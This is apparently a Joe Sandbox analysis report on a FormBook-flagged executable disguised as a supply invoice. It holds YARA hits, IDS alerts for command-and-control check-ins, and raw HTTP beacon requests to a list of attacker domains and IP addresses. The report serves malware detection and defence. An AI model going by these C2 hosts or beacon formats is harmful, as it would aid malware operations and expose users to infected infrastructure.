Windows Analysis Report
z1SupplyInvoiceCM60916_Doc.exe

AI detected suspicious sample

Source: Yara match	File source: 11.2.z1SupplyInvoiceCM60916_Doc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.z1SupplyInvoiceCM60916_Doc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.2299844236.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.4574137574.00000000007B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.4577917548.0000000003080000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2351474935.0000000005710000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.4578048891.00000000030D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2302119508.00000000024B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4578178574.00000000031A0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: z1SupplyInvoiceCM60916_Doc.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: z1SupplyInvoiceCM60916_Doc.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: paDa.pdbSHA256 source: z1SupplyInvoiceCM60916_Doc.exe, dpqsbGoWdXlp.exe.0.dr
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: IEFVDUdSaLLhw.exe, 0000000D.00000000.2215877606.0000000000B2E000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: wntdll.pdbUGP source: z1SupplyInvoiceCM60916_Doc.exe, 0000000B.00000002.2300679134.00000000016D0000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.4578288842.000000000369E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.4578288842.0000000003500000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.2301632908.0000000003300000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.2299969271.0000000003100000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: z1SupplyInvoiceCM60916_Doc.exe, z1SupplyInvoiceCM60916_Doc.exe, 0000000B.00000002.2300679134.00000000016D0000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 0000000F.00000002.4578288842.000000000369E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.4578288842.0000000003500000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.2301632908.0000000003300000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.2299969271.0000000003100000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: paDa.pdb source: z1SupplyInvoiceCM60916_Doc.exe, dpqsbGoWdXlp.exe.0.dr
Source:	Binary string: svchost.pdb source: z1SupplyInvoiceCM60916_Doc.exe, 0000000B.00000002.2300268708.0000000001177000.00000004.00000020.00020000.00000000.sdmp, IEFVDUdSaLLhw.exe, 0000000D.00000003.2375679084.0000000000A49000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: z1SupplyInvoiceCM60916_Doc.exe, 0000000B.00000002.2300268708.0000000001177000.00000004.00000020.00020000.00000000.sdmp, IEFVDUdSaLLhw.exe, 0000000D.00000003.2375679084.0000000000A49000.00000004.00000001.00020000.00000000.sdmp

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 15_2_007CC3A0 FindFirstFileW,FindNextFileW,FindClose,

15_2_007CC3A0

Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 4x nop then xor esi, esi	11_2_00418575
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Code function: 4x nop then xor esi, esi	11_2_0041850B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4x nop then xor eax, eax	15_2_007B9BC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4x nop then pop edi	15_2_007D24D9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4x nop then xor esi, esi	15_2_007C5028
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4x nop then xor esi, esi	15_2_007C509C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4x nop then pop edi	15_2_007BDF0F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4x nop then mov ebx, 00000004h	15_2_034004E8

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:49864 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49969 -> 119.18.54.27:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:49994 -> 119.18.54.27:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:49994 -> 119.18.54.27:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50016 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:49864 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49998 -> 104.21.5.125:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49996 -> 104.21.5.125:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50000 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50005 -> 162.0.215.33:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49992 -> 119.18.54.27:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:50034 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49995 -> 104.21.5.125:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:49987 -> 119.18.54.27:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50031 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:50026 -> 209.74.64.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:50026 -> 209.74.64.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:50013 -> 161.97.168.245:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:50013 -> 161.97.168.245:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50012 -> 161.97.168.245:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50045 -> 8.217.17.192:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:50034 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50025 -> 209.74.64.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:50004 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:50009 -> 162.0.215.33:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:50009 -> 162.0.215.33:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:50038 -> 38.55.251.233:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50015 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50040 -> 162.0.215.33:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50021 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:50038 -> 38.55.251.233:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50020 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:50004 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50014 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:50017 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50023 -> 209.74.64.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50019 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:50022 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:50022 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:50017 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50036 -> 38.55.251.233:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50032 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:50047 -> 8.217.17.192:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:50047 -> 8.217.17.192:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50001 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:49999 -> 104.21.5.125:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:49999 -> 104.21.5.125:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50028 -> 68.178.233.113:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50035 -> 38.55.251.233:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50011 -> 161.97.168.245:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50006 -> 162.0.215.33:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50029 -> 68.178.233.113:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50042 -> 162.0.215.33:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50046 -> 8.217.17.192:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50024 -> 209.74.64.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50044 -> 8.217.17.192:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50008 -> 162.0.215.33:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50010 -> 161.97.168.245:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:50030 -> 68.178.233.113:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:50030 -> 68.178.233.113:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50033 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50027 -> 68.178.233.113:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50037 -> 38.55.251.233:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50003 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.6:50041 -> 162.0.215.33:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.6:50043 -> 162.0.215.33:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.6:50043 -> 162.0.215.33:80

Performs DNS queries to domains with low reputation

Source:	DNS query: www.golizle22.xyz
Source:	DNS query: www.booosted.xyz

Source: Joe Sandbox View

IP Address: 3.33.130.190 3.33.130.190

Source: Joe Sandbox View	ASN Name: ACPCA ACPCA
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC
Source: Joe Sandbox View	ASN Name: AS-26496-GO-DADDY-COM-LLCUS AS-26496-GO-DADDY-COM-LLCUS

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /woyi/?An=mLdxo2Y8RLRh&ej6Le=liT4ZvY+2rzgu/UySgm47PML3ORjyZfCr6UpwpMzCweBEUZYpuqhq1mvJHjke4Uqr9Ttl6ktg6VhmA6yP/C42/0uWdACaDjPwlAEpqkr1rm8nQp5jQDy/v7kwBfcS6SUx+7tvUI= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-USHost: www.whiterabbitgroup.proConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Source: global traffic	HTTP traffic detected: GET /ctxc/?ej6Le=zdjwxosx+nYBz3+zbsBPWm+/7ve+ekB9VgYRIagILtbm8OwwRgMV6Kxr3Il58QUpA1eFuFbhbn4bqlVkjsdXtj71u+jihQLEfVmONzp8WE9uDtKzy1Bx2zuvnmoFIjKdlKtQFkI=&An=mLdxo2Y8RLRh HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-USHost: www.wonders8.liveConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Source: global traffic	HTTP traffic detected: GET /kpbt/?An=mLdxo2Y8RLRh&ej6Le=bzS3m8wIdYLAo6JC2B8v6DjkcYKoJ+/o0NmGFeD5SFiVCQOeD71i1fiBX/Z3MR+4fZ4gDTM+AXXLFXHhSs/mG9Ow8FixmQY8Mzsb0tyXAIso2XGTy+nTpErXCIb5tNtL4I1fOo4= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-USHost: www.golizle22.xyzConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Source: global traffic	HTTP traffic detected: GET /fp1z/?ej6Le=UM9JF3nEU4xQ/PwLWGC6ZGprDkqeXDETquU6+bQNCANtrDf9n2+FDVI8iqG/UPksDfc6HQNuzTnZ4EJOssmSqFcoG0I3gKiI2YTwSr3+9s/MRsmHXzjzE9U3d6U0PlwuaFK3vCk=&An=mLdxo2Y8RLRh HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-USHost: www.impulsarnegocios.infoConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Source: global traffic	HTTP traffic detected: GET /odii/?ej6Le=dVBn/8h3nxQ+NW3HHa2Dil9IxOpuSbZnLfq0vBwwz2PjK6Osa+4r5Mmz4BUq4xUHF4JCazXFRId1LoC3dnRZfR9dh4rO42NOGnzVyjLt/mUqEpvHWr7qJMesP485wi7mHEQ5T/k=&An=mLdxo2Y8RLRh HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-USHost: www.nieuws-july202541.sbsConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Source: global traffic	HTTP traffic detected: GET /epk2/?ej6Le=5hSJrytQEf2r193N2AyKKNas1p8do7y+C8hF198jiQrVzRfSjh9C72xB1f8gK0fXwE+oGLvPau9gCypTG2u5T5i3An2mBAgKXA59UHv+xIL7sVXWIuP/SFcs74Xei//AEoJSK5E=&An=mLdxo2Y8RLRh HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-USHost: www.acuarelacr.buzzConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Source: global traffic	HTTP traffic detected: GET /spso/?ej6Le=tFeIgmxzndAX18VLtJk/zbNv0lImNRb288p8UUCUbjDyDydKnVlzDYJug8WZqOAMxfoP9GMdNXzPVq95XWLVPrBzbN/BvIU7kFB3pLyGJrR2t8RTUX3UsiymoOhQ+PD/dlbX4PM=&An=mLdxo2Y8RLRh HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-USHost: www.booosted.xyzConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Source: global traffic	HTTP traffic detected: GET /8blm/?ej6Le=HSrh+kNg29vzDhmFvPtm7umcbnSkD02Ywpq4W1dSB1gaYliK2tVtZVmlspEFfRCsj7T0RA4zUvJ1xW3xieZGFm3Omt7rhJzIl1qpMMAhzN+EcK1k2mGj+1ZxR4qvhmW1pUGTA/Y=&An=mLdxo2Y8RLRh HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-USHost: www.gegeesthreadworks.infoConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Source: global traffic	HTTP traffic detected: GET /dbaa/?ej6Le=k+2h99XjzdZ+a8Guk9H+DZKAegT3yZPFsem4T4eX/urocpQMmPRl+MIiB7TuMhw38cELxfo4GPEke8/YGnuBTMId45zKJfXr14lU8gtHFAMAaoG54zLZ3lT6+2fSDV7gKgn9GEE=&An=mLdxo2Y8RLRh HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-USHost: www.sellvolt.lifeConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Source: global traffic	HTTP traffic detected: GET /m1w5/?ej6Le=3rMHf/BSjWsGYHwCFDyQr7UpHD469M8Ow0JV4TmI6XMWIkQCx3J07rEG1KeFsj1Bt3GmHG0JhP0iSMuoC4YaBVBwifK18YsKoqHqcY+PGErO86AoCrs033ftT3/LwHGHiZtPsOM=&An=mLdxo2Y8RLRh HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-USHost: www.kk88.liveConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Source: global traffic	HTTP traffic detected: GET /g5rn/?ej6Le=g7r8ZVC0cxJrkvwRypX7ol6hCzLGk0q5Jh6A3BrwknfWwIjVhyX9x4N34a97pOgSsNGPocoejkJQBdcVqC7tK2vQwMKTMeAj0+OVYz2VfmsetKnlMlSnUnOZTT0AV1eZjywajZ8=&An=mLdxo2Y8RLRh HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-USHost: www.cablecarrental.netConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Source: global traffic	HTTP traffic detected: GET /9wb2/?ej6Le=5UlEP0kDVMW/PPEwoDc70sMozoicrCD3NhlqEuGPGOUFJHosOZBhD6Eku4DzDmeGf+gBdkEGC1Jne06x+N2lRr6ZxBLzarbPmMoZ56wq7frcAS7q07bHFFW9m+jVLfRUYpA8+/U=&An=mLdxo2Y8RLRh HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-USHost: www.kuaimaolife.shopConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Source: global traffic	HTTP traffic detected: GET /rq5n/?ej6Le=pmXEr/OQw9QJm4Xk+l3iuqWeb8HinOXDTGqjp1WLtMjib1CidozVAjoZZY6l6lG8OprBPnix8hR5i/scUhhw8x7Qq3ZF1dacyLUi3r4qrR6Xp8uTLrynRTshDzTWpn0bQ1psq0A=&An=mLdxo2Y8RLRh HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-USHost: www.nieuws-july202491.sbsConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Source: global traffic	HTTP traffic detected: GET /x0tl/?An=mLdxo2Y8RLRh&ej6Le=9tQWqttnWu7MjGZLyiEcCzdUDF7UN3PBgIeLryHozuROP/1ck4METjVt2AM5oXaP3hSOrK+o7VaG5j6GesXwOMuHrEAdecfGMf0B1/a+f8XsVC4h6LXHmO6QOE5KLV0/obdy6xQ= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-USHost: www.meliorahomes.netConnection: closeUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)

Source: global traffic	DNS traffic detected: DNS query: www.whiterabbitgroup.pro
Source: global traffic	DNS traffic detected: DNS query: www.wonders8.live
Source: global traffic	DNS traffic detected: DNS query: www.golizle22.xyz
Source: global traffic	DNS traffic detected: DNS query: www.impulsarnegocios.info
Source: global traffic	DNS traffic detected: DNS query: www.nieuws-july202541.sbs
Source: global traffic	DNS traffic detected: DNS query: www.acuarelacr.buzz
Source: global traffic	DNS traffic detected: DNS query: www.booosted.xyz
Source: global traffic	DNS traffic detected: DNS query: www.gegeesthreadworks.info
Source: global traffic	DNS traffic detected: DNS query: www.sellvolt.life
Source: global traffic	DNS traffic detected: DNS query: www.kk88.live
Source: global traffic	DNS traffic detected: DNS query: www.cablecarrental.net
Source: global traffic	DNS traffic detected: DNS query: www.o30cf998d.cfd
Source: global traffic	DNS traffic detected: DNS query: www.kuaimaolife.shop
Source: global traffic	DNS traffic detected: DNS query: www.nieuws-july202491.sbs
Source: global traffic	DNS traffic detected: DNS query: www.meliorahomes.net

Source: unknown

